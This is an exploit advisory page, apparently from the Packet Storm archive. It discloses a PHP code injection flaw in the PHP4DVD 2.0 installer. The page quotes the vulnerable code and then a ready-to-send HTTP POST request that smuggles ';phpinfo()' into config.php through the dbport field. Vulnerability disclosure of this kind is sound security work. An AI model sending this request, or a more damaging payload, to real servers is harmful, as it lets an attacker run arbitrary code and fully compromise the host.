what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

PHP4DVD 2.0 Code Injection

PHP4DVD 2.0 Code Injection
Posted Jun 1, 2013
Authored by CWH Underground

PHP4DVD version 2.0 suffers from a remote PHP code injection vulnerability.

tags | exploit, remote, php
SHA-256 | 05535c3fd26cb13fd816180d57262c85302e5690cba1e2b0f5b63cfee85c1363

PHP4DVD 2.0 Code Injection

Change Mirror Download
# Exploit Title   : PHP4DVD PHP Code Injection
# Date : 31 May 2013
# Exploit Author : CWH Underground
# Site : www.2600.in.th
# Vendor Homepage : http://php4dvd.sourceforge.net/
# Software Link : http://downloads.sourceforge.net/project/php4dvd/php4dvd-2.0.zip
# Version : 2.0
# Tested on : Window and Linux

,--^----------,--------,-----,-------^--,
| ||||||||| `--------' | O .. CWH Underground Hacking Team ..
`+---------------------------^----------|
`\_,-------, _________________________|
/ XXXXXX /`| /
/ XXXXXX / `\ /
/ XXXXXX /\______(
/ XXXXXX /
/ XXXXXX /
(________(
`------'

####################################
VULNERABILITY: PHP CODE INJECTION
####################################

/install/index.php (LINE: 151-180)

-----------------------------------------------------------------------------
LINE 151-173:
$config = "<?php" . $nl;

// Default language
config .= '$settings["defaultlanguage"] = "' . addslashes($_POST["defaultlanguage"]) . '";' . $nl;

// Url
$config .= '$settings["url"]["base"] = "' . addslashes($_POST["url"]) . '";' . $nl;

// Database
$config .= '$settings["db"]["host"] = "' . addslashes($_POST["dbhost"]) . '";' . $nl;
$config .= '$settings["db"]["port"] = ' . addslashes($_POST["dbport"]) . ';' . $nl;
$config .= '$settings["db"]["name"] = "' . addslashes($_POST["dbname"]) . '";' . $nl;
$config .= '$settings["db"]["user"] = "' . addslashes($_POST["dbuser"]) . '";' . $nl;
$config .= '$settings["db"]["pass"] = "' . addslashes($_POST["dbpass"]) . '";' . $nl;

// Guest view
$config .= '$settings["user"]["guestview"] = ' . (isset($_POST["guestview"]) ? 'true' : 'false') . ';' . $nl;

// Template
$config .= '$template_name = "' . addslashes($_POST["template"]) . '";' . $nl;

// Close
$config .= "?>";
-----------------------------------------------------------------------------

-----------------------------------------------------------------------------
LINE 151-173:
$file = $loc . "config/config.php";
$fsuccess = true;
$handle = @fopen($file, "w+");
-----------------------------------------------------------------------------

#####################################################
DESCRIPTION
#####################################################

An attacker might write to arbitrary files or inject arbitrary code into a file with this vulnerability.
User tainted data is used when creating the file name that will be opened or when creating the string that will be written to the file.
An attacker can try to write arbitrary PHP code in a PHP file allowing to fully compromise the server.

This CMS allow attacker to insert PHP code into config.php with ";phpinfo()"

/config/config.php
-----------------------------------------------------------------------------
<?php
$settings["defaultlanguage"] = "en_US";
$settings["url"]["base"] = "php4dvd";
$settings["db"]["host"] = "localhost";
$settings["db"]["port"] = 3306;phpinfo();
$settings["db"]["name"] = "php4dvd";
$settings["db"]["user"] = "root";
$settings["db"]["pass"] = "myP@ssw0rd";
$settings["user"]["guestview"] = false;
$template_name = "default";
?>
-----------------------------------------------------------------------------

#####################################################
EXPLOIT
#####################################################

POST /php4dvd/install/?go=configuration HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:21.0) Gecko/20100101 Firefox/21.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://localhost/php4dvd/install/?go=configuration
Cookie: __utma=111872281.1795322081.1369810583.1369810583.1369810583.1; __utmz=111872281.1369810583.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); lang=en_US; PHPSESSID=9bucpus4ag68733h2fjpm190p0
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 130

dbhost=localhost&dbport=3306;phpinfo()&dbname=php4dvd&dbuser=root&dbpass=myP@ssw0rd&url=php4dvd&template=default&defaultlanguage=en_US&submit=Next





################################################################################################################
Greetz : ZeQ3uL, JabAv0C, p3lo, Sh0ck, BAD $ectors, Snapter, Conan, Win7dos, Gdiupo, GnuKDE, JK, Retool2
################################################################################################################
Login or Register to add favorites

File Archive:

November 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Nov 1st
    30 Files
  • 2
    Nov 2nd
    0 Files
  • 3
    Nov 3rd
    0 Files
  • 4
    Nov 4th
    12 Files
  • 5
    Nov 5th
    44 Files
  • 6
    Nov 6th
    18 Files
  • 7
    Nov 7th
    0 Files
  • 8
    Nov 8th
    0 Files
  • 9
    Nov 9th
    0 Files
  • 10
    Nov 10th
    0 Files
  • 11
    Nov 11th
    0 Files
  • 12
    Nov 12th
    0 Files
  • 13
    Nov 13th
    0 Files
  • 14
    Nov 14th
    0 Files
  • 15
    Nov 15th
    0 Files
  • 16
    Nov 16th
    0 Files
  • 17
    Nov 17th
    0 Files
  • 18
    Nov 18th
    0 Files
  • 19
    Nov 19th
    0 Files
  • 20
    Nov 20th
    0 Files
  • 21
    Nov 21st
    0 Files
  • 22
    Nov 22nd
    0 Files
  • 23
    Nov 23rd
    0 Files
  • 24
    Nov 24th
    0 Files
  • 25
    Nov 25th
    0 Files
  • 26
    Nov 26th
    0 Files
  • 27
    Nov 27th
    0 Files
  • 28
    Nov 28th
    0 Files
  • 29
    Nov 29th
    0 Files
  • 30
    Nov 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close